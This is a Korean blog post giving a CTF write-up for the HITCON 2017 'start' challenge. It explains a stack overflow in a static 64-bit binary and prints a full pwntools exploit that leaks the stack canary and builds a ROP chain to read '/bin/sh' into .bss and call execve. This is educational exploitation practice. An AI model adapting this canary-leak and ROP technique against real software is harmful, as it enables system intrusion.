HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 취약점
  • JNDI
  • 아파치
  • log4j

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

HITCON 2017 - Start
SYSTEM HACKING/문제 풀이

HITCON 2017 - Start

2018. 2. 11. 23:03
728x90

문제 풀거 없나 찾아보다가 syscall을 이용한 문제를 오랜만에 풀어보고 싶어서 찾은 문제

HITCON의 start문제...

솔직하게 쉬워보여서 잡았다 ㅋㅋ....


start




64비트 파일이고 static compile되어 있는 것을 볼 수 있다.

static이 되어있으면 왠만하면 syscall가젯이 있으므로 syscall을 이용해서 쉘을 따내면 될 것 같다.

그리고 보호기법은 SSP/NX가 걸려있다.


파일을 실행을 시켜보면 

입력을 받고 입력한 값을 그대로 출력해주고 하는 프로그램이다.


ida 까보자




한눈에 봐도 오버플로우가 일어나는 곳을 볼 수 있다.

카나리는 v7에 있는데 메모리 릭을 이용해서 카나리 값을 얻을 수 있다.



이렇게 하면 카나리 값이 나온다.

이제 익스플로잇만 하면된다.



#!/usr/bin/python


from pwn import *


p = process('./start')

e = ELF('./start')


pop_rdi = 0x004005d5

pop_rsi = 0x00466d97

pop_rdx = 0x00443776

pop_rax_rdx_rbx = 0x0048a77b

syscall = 0x00468e75

bss = 0x00000000006cdb60



# Canary Leak 

leak_canary  = ''

leak_canary += "A"*24

leak_canary += "B"


p.send(leak_canary)

p.recvuntil("B")

canary = "\x00"+p.recv(7)

print "[*]canary: "+hex(u64(canary))


#Buffer Overflow

payload  = ''

payload += "A"*24

payload += canary

payload += "JUNKJUNK"


# read(0,bss,len(/bin/sh))

payload += p64(pop_rdi)

payload += p64(0)

payload += p64(pop_rsi)

payload += p64(bss)

payload += p64(pop_rax_rdx_rbx)

payload += p64(0)

payload += p64(len("/bin/sh"))

payload += p64(0)

payload += p64(syscall)


#execve(bss,0,0)

payload += p64(pop_rdi)

payload += p64(bss)

payload += p64(pop_rsi)

payload += p64(0)

payload += p64(pop_rax_rdx_rbx)

payload += p64(59)

payload += p64(0)

payload += p64(0)

payload += p64(syscall)


p.send(payload)

sleep(0.3)

p.sendline("exit")

sleep(0.3)

p.send("/bin/sh")

sleep(0.3)


p.interactive()



첨에는 익스플로잇 코드가 안되서 왜그러나 봤더니
syscall가젯을 이상한 것을 쓰고있었다...




쉘을 땄다~

'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글

2018 Codegate - Super marimo  (0) 2018.02.14
HarekazeCTF 2018 - Harekaze Farm (Pwn)  (0) 2018.02.12
2016 Codegate -Serial  (0) 2018.02.03
간단한 Crc CTF 문제  (0) 2018.01.29
2016 Codegate -Watermelon  (0) 2018.01.24
    'SYSTEM HACKING/문제 풀이' 카테고리의 다른 글
    • 2018 Codegate - Super marimo
    • HarekazeCTF 2018 - Harekaze Farm (Pwn)
    • 2016 Codegate -Serial
    • 간단한 Crc CTF 문제
    HO_9
    HO_9

    티스토리툴바